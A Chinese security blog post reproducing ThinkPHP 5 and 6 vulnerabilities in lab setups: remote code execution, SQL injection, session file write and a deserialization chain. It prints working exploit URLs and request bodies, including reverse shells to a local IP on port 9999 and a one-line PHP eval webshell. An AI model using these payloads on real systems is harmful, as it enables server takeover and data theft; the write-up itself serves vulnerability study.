ThinkPHP常见框架漏洞复现分析
共 6912字,需浏览 14分钟
·
2022-06-15 11:41
Thinkphp是一个国内轻量级的开发框架,采用php+apache,在更新迭代中,thinkphp也经常爆出各种漏洞,thinkphp一般有thinkphp2、thinkphp3、thinkphp5、thinkphp6版本,前两个版本已经停止更新,一般也没有人再继续用,所以就不再做复现了,本篇文章主要介绍下thinkphp5、6的漏洞
Thinkphp5 5.0.22/5.1.29 远程代码执行漏洞
漏洞成因:由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
影响版本:
5.0<thinkphp<=5.0.22
5.1<thinkphp<=5.1.29< p="">
环境:vulhub
验证漏洞POC
http://127.0.0.1:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
简单说一下POC:invokefunction调用call_user_func_array方法, call_user_func_array函数接受两个参数,第一个为函数名,第二个为函数参数数组,上面的意思是通过call_user_func_array函数调用system函数执行whoami命令。
此漏洞产生的关键原因在routeCheck函数中,关键代码如下
// 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
if (false === $result) {
$result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
}
// var_dump($result['module']);
return $result;
}
上述代码中第3行的Route::parseUrl函数只是简单的将变量$path=index/think\app/invokefunction按斜杠符号'/'分组,并没有考虑符号反斜杠'\'的情况 ,result的值为如下所示:
$result = array[3]
$result[0] = (string) index
$result[1] = (string) think\app
$result[2] = (string) invokefunction
最终导致传入exec函数的控制器为think\app,而最后通过 $reflect->invokeArgs(isset($class) ? $class : null 来解析类和参数,从而导致命令执行漏洞。
反弹shell命令(需进行url编码)
http://127.0.0.1:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=/bin/bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.111.128/9999%200%3E%261%22
或者写入一句话(同样url编码)
http://127.0.0.1:8080/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27%3C%3Fphp%20%40eval%28%24_POST%5B%22x%22%5D%29%3F%3E%27%20%3Eshell.php%20
ThinkPHP5 5.0.23 远程代码执行漏洞
漏洞成因:其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
影响版本:
5.0< ThinkPHP<5.0.23
5.1< ThinkPHP<5.1.31
环境:vulhub
验证漏洞POC(这里需要注意加上Content-Type: application/x-www-form-urlencoded将请求以URL编码发送)
POST /index.php?s=captcha HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
反弹shell(需进行url编码)
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=/bin/bash+-c+"bash+-i+>%26+/dev/tcp/192.168.111.128/9999+0>%261"
thinkphp 5.0.23 rce源码下载:https://github.com/top-think/framework/tree/v5.0.23
感兴趣的师傅可以看看
ThinkPHP5 SQL注入漏洞 && 敏感信息泄露
漏洞成因:本次漏洞存在于 Builder 类的 parseData 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。
影响版本:
5.0.13<=ThinkPHP<=5.0.15
5.1.0<=ThinkPHP<=5.1.5
环境搭建:这里vulnhub docker环境我在kali运行一直报错,就使用composer搭建环境吧
1、先下载composer
curl -sS https://getcomposer.org/installer | php
2、下载完成之后,要把composer.phar文件移动到bin目录里面,方便全局使用composer命令
mv composer.phar /usr/local/bin/composer
3、切换阿里云Composer镜像
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer
4、获取think5.0.15代码
composer create-project --prefer-dist topthink/think=5.0.15 v5.0.15
下载源码后,需要对application/index/controller/Index.php内容进行修改,如下
<?php
namespace app\index\controller;
use app\index\model\User;
class Index
{
public function index()
{
$ids = input('ids/a');
$t = new User();
$result = $t->where('id', 'in', $ids)->select();
foreach($result as $row) {
echo "<p>Hello, {$row['username']}</p>";
}
}
}
创建数据库信息如下
create database 1_ry;
use 1_ry;
create table users(
id int primary key auto_increment,
username varchar(50) not null,
);
insert into users(id,username) values(1,'1_ry');
然后在 /application/database.php配置数据库,并开启application/config.php中的app_debug和app_trace
配置完成后访问
http://127.0.0.1/v5.0.15/public/index.php/?username=)%20union%20select%20updatexml(1,concat(0x7,database(),0x7e),1)%23
这是一个比较鸡肋的SQL注入漏洞。必须存在一个这样的注入点才能利用,并且没开启 app_debug 是无法看到 SQL 报错信息的,限制很多
ThinkPHP v6.0.x 任意文件操作漏洞
漏洞描述:在开启Session的情况下可以导致创建任意文件以及删除任意文件,特定情况下可以getshell
影响版本:6.0.0<=thinphp<=6.0.2
环境同样使用composer下载源码搭建, PHP version ">= 7.4.0"
composer create-project --prefer-dist topthink/think=6.0.2 v6.0.2
默认是thinkphp6最新版本的,漏洞是已经修复了的,所以我们需要对程序进行降级
composer require topthink/framework:6.0.2
复现过程:
写入的session内容是由实际的后端业务逻辑来决定的,所以说只有苛刻的条件下才能写入webshell。
我们在app\controller\index.php中增加一些代码后,如下
<?php
namespace app\controller;
use think\facade\Session;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
Session::set('name','thinkphp');
return 1;
}
}
thinkphp6默认是没有开启session功能的,我们需要在app/middleware.php文件中,取消session中间件的注释,设置为如图
搭建好环境后打开页面如图
抓包只需要构造PHPSESSID的值即可,长度为32
生成的session文件保存在\runtime\session下
里面的内容经过了序列化操作
a:1:{s:4:"name";s:8:"thinkphp";}
如果要利用这个漏洞getshell的话,还要解决两个问题
session文件内容可控,如果后端需要有类似的Session::set('name', $_POST['a']);代码才可以利用
thinkphp的网站一般会把 /public 设置为网站的根目录,而生成的文件是在/runtime/session文件夹下面的,默认是访问不到的但是这个通过,即可绕过PHPSESSID=/../../../public/aaaaaaaaaaa.php
ThinkPHP v6.0.x 反序列化漏洞
影响版本:thinkPHP v6.0.0-6.0.3
环境:使用上一个漏洞的环境
版本安装后默认使用单应用模式部署,url访问受到路由模式的影响,为了使用方便,我们先要去/config/app.php 中将with_route => false
需要在根目录下的 /app/controller的index.php里面存在unserialize()函数且为可控点,例如存在
public function l_Ry(){
$a = $_POST['a'];
echo $a;
unserialize($a);
}
POST传参数a
http://127.0.0.1/v6.0.2/public/index.php/index/l_Ry
至此环境就搭建完成了
我跟着网上的资料大概分析了一下
https://blog.csdn.net/cosmoslin/article/details/123102811
https://xz.aliyun.com/t/9546#toc-16
https://blog.csdn.net/weixin_45794666/article/details/123237118
https://xz.aliyun.com/t/9405#toc-3
漏洞的一般起点在__destruct()
函数,可利用的函数在vendor\topthink\think-orm\src\Model.php
中间的过程太繁杂,大体和参考的文章差不多就不写出来了,顺着往下找,最终利用点为
$value = $closure($value, $this->data);
完整的POP利用链为__destruct()——>save()——>updateData()——>checkAllowFields()——>db()——>$this->table . $this->suffix(字符串拼接)——>toString()——>toJson()-->toArray()——>getAttr()——>getData()——>getRealFieldName()——>getValue()
但最后无论是自己构造的poc还是参考文章的poc,全都复现失败
要是有师傅复现成功了希望能发篇文章让小弟学习学习。
参考:
ThinkPHP5 SQL注入:
https://blog.csdn.net/LYJ20010728/article/details/119658872
ThinkPHP6任意文件操作漏洞分析:
https://www.freesion.com/article/8322285585/